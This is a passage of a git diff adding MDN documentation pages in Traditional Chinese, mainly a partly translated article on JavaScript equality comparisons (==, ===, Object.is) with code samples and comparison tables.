+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Inherited Nonenumerable</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Account for Symbols keys</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Operators/in" title="/en-US/docs/JavaScript/Reference/Operators/in">in</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="/en-US/docs/JavaScript/Reference/Statements/for...in">for..in</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors">Object.getOwnPropertyDescriptors</a></code></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.html b/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.html
new file mode 100644
index 0000000000..5821653310
--- /dev/null
+++ b/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.html
@@ -0,0 +1,431 @@
+---
+title: 相等比較
+slug: Web/JavaScript/Equality_comparisons_and_sameness
+translation_of: Web/JavaScript/Equality_comparisons_and_sameness
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<p>在 ES2015，有四個相等比較方法：</p>
+
+<ul>
+ <li>一般相等 (<code>==</code>)</li>
+ <li>嚴格相等 (<code style="font-weight: 700; font-style: normal;">===</code>)：被用於 <code style="font-weight: 700; font-style: normal;">Array.prototype.indexOf</code>、 <code style="font-weight: 700; font-style: normal;">Array.prototype.lastIndexOf </code>和 <code style="font-weight: 700; font-style: normal;">case</code>-matching </li>
+ <li>零值相等：被用於 <code>%TypedArray%</code> 和 <code>ArrayBuffer</code> 建構子，以及 <code>Map</code> 和 <code>Set</code> 運算子，還有將在 ES2016 新增的 <code>String.prototype.includes。</code></li>
+ <li>同值相等： 用在除上面提及的所有情況。</li>
+</ul>
+
+<p>JavaScript 提供三種不同的值比較運算操作：</p>
+
+<ul>
+ <li>嚴格相等 (或稱 "三等於"、"全等") 使用 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">===</a></li>
+ <li>一般相等 ("雙等於") 使用 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">==</a></li>
+ <li>還有 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> (ECMAScript 2015 新加入)</li>
+</ul>
+
+<p>要用哪個操作取決於你要哪種類型的比較。</p>
+
+<p>簡單來說，一般相等會將型別一致化後比較；嚴格相等則不會（也就是說若型別不同，就會回傳 fasle）；<code>Object.is</code> 會和嚴格相等做同樣的事，但會將 <code>NaN</code>、<code>-0<font face="Open Sans, Arial, sans-serif"> 和 </font></code><code>+0 </code>獨立處理，因此這三個不會相等，而 <code>Object.is(NaN, NaN)</code> 則會回傳 true 。（用一般相等或嚴格相等比較兩個 <code>NaN</code> 時會回傳 <code>false</code> ，因為 IEEE 754 如此規範。） 切記，這三種判斷必須考慮原型，因為他們在設計上不被考慮為相等。對於任何非原型物件 x、y，即使他們有著相同結構，但如果是不同物件，比較就會是 false。</p>
+
+<h2 id="嚴格相等（）">嚴格相等（<code>===</code>）</h2>
+
+<p>嚴格相等比較兩個值，而被比較的兩個值都不會轉換成其他型別。如果值是不同型別，就會被視為不相等。如果兩值型別相同但不是數字，若值相同，則為相等。此外，如果兩個值皆為數字，只要他們是 NaN 以外的同一值，或者 +0 和 -0，則為相等。</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+
+console.log(num === num); // true
+console.log(obj === obj); // true
+console.log(str === str); // true
+
+console.log(num === obj); // false
+console.log(num === str); // false
+console.log(obj === str); // false
+console.log(null === undefined); // false
+console.log(obj === null); // false
+console.log(obj === undefined); // false
+</pre>
+
+<p>嚴格比較適合在絕大多數情況下使用。對於所有非數字的值，嚴格比較就如字面：一個值只相等於自己。而數字則使用稍微不同的方式：第一種情況是浮點數 0 同時為正和負，在解決某些數學問題時，<code>+0</code> 和 <code>-0 </code>是不同的，但在大部分情況下我們不需要考慮這種情境，因此嚴格比較將他們視為相同的。第二種情況是非數字，<code>NaN</code>，用來表示某些定義不明確的數學問題的解， 例如：負無窮加正無窮，嚴格比較認為 <code>NaN</code> 不等於任何值，包含他本身。（<code>(x !== x)</code>只有在 <code>x</code> 是 <code>NaN </code>時會是 <code>true</code>。）</p>
+
+<h2 id="一般相等（）">一般相等（==）</h2>
+
+<p>一般相等會<em>先將</em>比較值轉換成同型別後比較。轉換後（可能一個或兩個都被轉換），接著進行的幾乎和嚴格比較（<code>===</code>）一樣。 一般相等會<em>對稱</em>： <code>A == B</code> 等同 <code>B == A</code> ，無論 <code>A</code> 和 <code>B</code> 是什麼。（除了型別轉換的順序）</p>
+
+<p>不同型別的一般相等運作如下表：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th colspan="7" scope="col" style="text-align: center;">比較值 B</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"></th>
+   <td></td>
+   <td style="text-align: center;">Undefined</td>
+   <td style="text-align: center;">Null</td>
+   <td style="text-align: center;">Number</td>
+   <td style="text-align: center;">String</td>
+   <td style="text-align: center;">Boolean</td>
+   <td style="text-align: center;">Object</td>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="6" scope="row">比較值 A</th>
+   <td>Undefined</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Null</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Number</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>String</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>Boolean</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>Object</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>根據上表， <code>ToNumber(A)</code> 嘗試在比較前轉換成一個數字。 這等同 <code>+A</code> （單 + 運算子）。<code>ToPrimitive(A)</code> 嘗試從物件轉換成原生值，透過嘗試對 A 使用 <code>A.toString</code> 和 <code>A.valueOf</code> 方法。</p>
+
+<p>一般來說，根據 ECMAScript 規範，所有物件應該不等於 <code>undefined</code> 和 <code>null</code>。但大多數瀏覽器允許很小部分的物件（尤其是所有頁面的 <code>document.all</code> 物件）在某些情況下<em>當成</em> <code>undefined</code>。一般相等是其中一種：當 A 是個被<em>模擬</em> 成 <code>undefined </code>的物件<code><font face="Open Sans, Arial, sans-serif">，</font></code><code>null == A</code> 和 <code>undefined == A</code> 會是 true。而在其他情況下物件不會等同於 <code>undefined</code> 或 <code>null。</code></p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+
+console.log(num == num); // true
+console.log(obj == obj); // true
+console.log(str == str); // true
+
+console.log(num == obj); // true
+console.log(num == str); // true
+console.log(obj == str); // true
+console.log(null == undefined); // true
+
+// 除了少數情況，這兩個應該是 false。
+console.log(obj == null);
+console.log(obj == undefined);
+</pre>
+
+<p>部分開發者認為最好別用一般相等。嚴格比較更容易預測，且因為不必轉型，因此效率更好。</p>
+
+<h2 id="同值相等">同值相等</h2>
+
+<p>同值相等解決了最後一個情況：比較兩個值是否<em>功能相同</em> 。（這裡用了 <a href="http://en.wikipedia.org/wiki/Liskov_substitution_principle" title="http://en.wikipedia.org/wiki/Liskov_substitution_principle">Liskov 替換原則（英）</a> 為例）當試圖修改一個不可變的屬性：</p>
+
+<pre class="brush: js">// 新增一個不可變 NEGATIVE_ZERO 屬性到 Number 原型。
+Object.defineProperty(Number, "NEGATIVE_ZERO",
+                      { value: -0, writable: false, configurable: false, enumerable: false });
+
+function attemptMutation(v)
+{
+  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
+}
+</pre>
+
+<p>當修改一個不可變屬性時， <code>Object.defineProperty</code> 會出現例外，但若沒有真的要求修改，就沒事。如果 <code>v</code> 是 <code>-0</code>，就不會有修改，也就不會有錯誤出現。但若 <code>v</code> 是 <code>+0</code>，<code>Number.NEGATIVE_ZERO</code> 不再擁有自己的不可變屬性。在內部，當一個不可變屬性被重新定義，新的值會用同值相等和原值比較。</p>
+
+<p><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> 方法提供同值相等比較。</p>
+
+<h2 id="零值相等">零值相等</h2>
+
+<p>和同值相等一樣，但將 <code>+0</code> 和 <code>-0 </code>視為相同。</p>
+
+<h2 id="一般相等、嚴格相等和同值相等的規範">一般相等、嚴格相等和同值相等的規範</h2>
+
+<p>在 ES5，一般相等 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>==</code></a> 在 <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3">Section 11.9.3, The Abstract Equality Algorithm</a> 中規範。嚴格相等 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>===</code></a> 在 <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6">11.9.6, The Strict Equality Algorithm</a>。（可以看看，這很簡短且可讀。註：先讀嚴格相等。）ES5 也在 <a href="http://ecma-international.org/ecma-262/5.1/#sec-9.12" title="http://ecma-international.org/ecma-262/5.1/#sec-9.12">Section 9.12, The SameValue Algorithm</a> 規範 JS 引擎的行為。他幾乎和嚴格相等一樣，除了 11.9.6.4 和 9.12.4 在處理 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> 時的不同。ES2015 簡短的提出了 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a>。</code></p>
+
+<p>我們可以發現在 11.9.6.1 中，除了 11.9.6.1 規範型別檢查，嚴格相等規範是從屬於一般相等規範，因為 11.9.6.2–7 和 11.9.3.1.a–f相應。</p>
+
+<h2 id="理解相等比較模型">理解相等比較模型</h2>
+
+<p>ES2015 以後，你或許會將雙等於和三等於解讀成是彼此的「加強版」。比如，有人或許會說雙等於是三等於的延伸版本，因為前者做的事情和後者事情一模一樣，只差在運算元的型別轉換。舉例來說，<code>6 == "6"</code> （又或者說，有人可能會講說雙等於是基底，而三等於是加強版，因為它要求兩個運算元是同型別，所以它多了一個限制。至於哪個是較好的理解模型，取決於你的觀點。</p>
+
+<p>儘管如此，這個思考內建相同運算子的方法，並非是延伸 ES2015 中的 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> 方法。 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> 不是單純地比雙等號「更寬鬆」或比三等號「更嚴謹」，也不適合將其放在兩者之間（即，比雙等號嚴謹，但較三等號寬鬆）。我們可以從下方的比較表格看到，一切是起源於 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> 可以處理 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a> 的比較運算。要注意的是，如果 <code>Object.is(NaN, NaN)</code> 的運算結果是  <code>false</code> ，我們就可以因為它區分 <code>-0</code> 和 <code>+0</code> 的結果，使用寬鬆和嚴謹的範疇來界定它是比三等號更嚴謹的那一區段。然而，區別 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a> 的方式並不確實。Unfortunately, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> simply has to be thought of in terms of its specific characteristics, rather than its looseness or strictness with regard to the equality operators.</p>
+
+<table class="standard-table">
+ <caption>Sameness Comparisons</caption>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">x</th>
+   <th scope="col" style="text-align: center;">y</th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>==</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>===</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>Object.is</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>"foo"</code></td>
+   <td><code>"foo"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>{ foo: "bar" }</code></td>
+   <td><code>x</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>+0</code></td>
+   <td><code>-0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"0"</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"17"</code></td>
+   <td><code>17</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>[1,2]</code></td>
+   <td><code>"1,2"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String("foo")</code></td>
+   <td><code>"foo"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>{ foo: "bar" }</code></td>
+   <td><code>{ foo: "bar" }</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String("foo")</code></td>
+   <td><code>new String("foo")</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"foo"</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>NaN</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="When_to_use_Object.is_versus_triple_equals">When to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> versus triple equals</h2>
+
+<p>Aside from the way it treats <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a>, generally, the only time <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a>'s special behavior towards zeros is likely to be of interest is in the pursuit of certain meta-programming schemes, especially regarding property descriptors when it is desirable for your work to mirror some of the characteristics of <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"><code>Object.defineProperty</code></a>. If your use case does not require this, it is suggested to avoid <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> and use <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>===</code></a> instead. Even if your requirements involve having comparisons between two <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a> values evaluate to <code>true</code>, generally it is easier to special-case the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a> checks (using the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN"><code>isNaN</code></a> method available from previous versions of ECMAScript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison.</p>
+
+<p>Here's an in-exhaustive list of built-in methods and operators that might cause a distinction between <code>-0</code> and <code>+0</code> to manifest itself in your code:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#-_.28Unary_Negation.29" title="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators"><code>- (unary negation)</code></a></dt>
+</dl>
+
+<dl>
+ <dd>
+ <p>It's obvious that negating <code>0</code> produces <code>-0</code>. But the abstraction of an expression can cause <code>-0</code> to creep in when you don't realize it. For example, consider:</p>
+
+ <pre class="brush:js">let stoppingForce = obj.mass * -obj.velocity</pre>
+
+ <p>If <code>obj.velocity</code> is <code>0</code> (or computes to <code>0</code>), a <code>-0</code> is introduced at that place and propogates out into <code>stoppingForce</code>.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2"><code>Math.atan2</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil"><code>Math.ceil</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow"><code>Math.pow</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round"><code>Math.round</code></a></dt>
+</dl>
+
+<dl>
+ <dd>It's possible for a <code>-0</code> to be introduced into an expression as a return value of these methods in some cases, even when no <code>-0</code> exists as one of the parameters. E.g., using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow"><code>Math.pow</code></a> to raise <code>-<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> to the power of any negative, odd exponent evaluates to <code>-0</code>. Refer to the documentation for the individual methods.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor"><code>Math.floor</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max"><code>Math.max</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min"><code>Math.min</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin"><code>Math.sin</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt"><code>Math.sqrt</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan"><code>Math.tan</code></a></dt>
+</dl>
+
+<dl>
+ <dd>It's possible to get a <code>-0</code> return value out of these methods in some cases where a <code>-0</code> exists as one of the parameters. E.g., <code>Math.min(-0, +0)</code> evalutes to <code>-0</code>. Refer to the documentation for the individual methods.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">~</a></code></dt>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&lt;&lt;</a></code></dt>
